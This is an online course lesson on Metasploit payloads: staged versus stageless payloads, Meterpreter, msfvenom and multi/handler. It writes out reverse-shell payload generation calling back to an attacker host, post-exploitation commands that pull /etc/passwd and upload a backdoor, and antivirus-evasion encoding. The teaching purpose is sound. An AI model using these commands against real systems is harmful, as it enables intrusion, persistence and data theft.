Payloads: Staged vs Stageless, Meterpreter
Choose the right payload for a scenario and use Meterpreter for post-exploitation.
Payloads: Staged vs Stageless, Meterpreter is a free Cyber Security Academy lesson on CoddyKit — lesson 3 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cyber Security Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
What is a Payload?
A payload is the code that runs on the target after a successful exploit. It defines what the attacker gains: a shell, command execution, file access, or a full-featured agent like Meterpreter.
Staged vs Stageless Payloads
Stageless payloads (/) contain everything in one binary — larger but simpler, no network callback needed after initial delivery. Staged payloads (//) send a tiny stager first that downloads the second stage from the handler.
# Stageless (single slash naming):
windows/x64/shell_reverse_tcp
# Staged (double slash naming):
windows/x64/shell/reverse_tcp
# ^
# stage 2 downloaded after stager connectsWhen to Use Each
Use stageless when the target has no internet/handler access after the initial exploit — the payload must be self-contained. Use staged when you want a smaller initial payload and have a reliable handler connection.
Meterpreter Overview
Meterpreter is Metasploit's advanced payload — runs entirely in memory, encrypted communications, and provides a rich API: file system access, process migration, keylogging, screenshot capture, and pivoting.
msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.10
msf6 > set LPORT 4444
msf6 > runMeterpreter Commands
Essential Meterpreter commands for post-exploitation: system info, process list, file operations, and networking.
meterpreter > sysinfo # system information
meterpreter > getuid # current user
meterpreter > ps # process list
meterpreter > download /etc/passwd
meterpreter > upload backdoor.sh /tmp/
meterpreter > shell # drop to OS shellProcess Migration
Migrate the Meterpreter process into a more stable or less suspicious process (e.g., explorer.exe on Windows). This can also elevate privileges if migrating to a higher-privilege process.
meterpreter > ps
meterpreter > migrate 1234 # migrate to PID 1234
# Migrate to explorer.exe for stability
# Avoids termination if original process exitsGenerating Payloads with msfvenom
msfvenom generates standalone payload files (EXE, ELF, APK, shellcode) for delivery via phishing, USB drops, or web shells in authorized tests.
# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.10 LPORT=4444 \
-f exe -o payload.exe
# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.10 LPORT=4444 \
-f elf -o payload.elfMulti/Handler for Catching Shells
The multi/handler auxiliary module catches reverse shell connections. Configure it with the same payload, LHOST, and LPORT you used in msfvenom before delivering the payload.
msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 0.0.0.0
msf6 > set LPORT 4444
msf6 > run -j # run as background jobEncoding and Evasion Basics
msfvenom encoders can obfuscate payloads to evade basic signature-based AV detection. Note: modern EDR uses behavioral detection — encoders alone are insufficient against advanced defenses.
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.10 LPORT=4444 \
-e x64/xor_dynamic -i 5 \
-f exe -o encoded_payload.exeBind vs Reverse Payloads
Reverse payloads connect from target to attacker (better for NAT/firewalls). Bind payloads listen on the target — the attacker connects in. Reverse is preferred in most scenarios.
Payload Detection by Defenders
Defenders detect Meterpreter via: network signatures (C2 traffic patterns), memory scanning (reflective DLL injection artifacts), and behavioral analysis (process hollowing, unusual parent-child relationships).
Quick Check
What distinguishes a staged payload from a stageless one in Metasploit?
Summary: Payloads and Meterpreter
Choose staged payloads for small initial footprint, stageless for self-contained delivery. Meterpreter is the most capable payload for post-exploitation: in-memory, encrypted, and extensible. Use msfvenom for generating standalone binaries and always configure multi/handler to catch callbacks.
Frequently asked questions
Is the “Payloads: Staged vs Stageless, Meterpreter” lesson free?
Yes — the full text of “Payloads: Staged vs Stageless, Meterpreter” is free to read here on the web, and the Cyber Security Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cyber Security Academy course, upgrade to CoddyKit PRO.
What will I learn in “Payloads: Staged vs Stageless, Meterpreter”?
Choose the right payload for a scenario and use Meterpreter for post-exploitation. You practise Cyber Security Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start Cyber Security Academy?
No prior experience is required. Cyber Security Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 3 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Payloads: Staged vs Stageless, Meterpreter” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this Cyber Security Academy lesson?
Yes. Every Cyber Security Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.
All lessons in this course
- Metasploit Architecture and msfconsole
- Exploiting a Known Vulnerability
- Payloads: Staged vs Stageless, Meterpreter
- Post-Exploitation: Pivot and Persist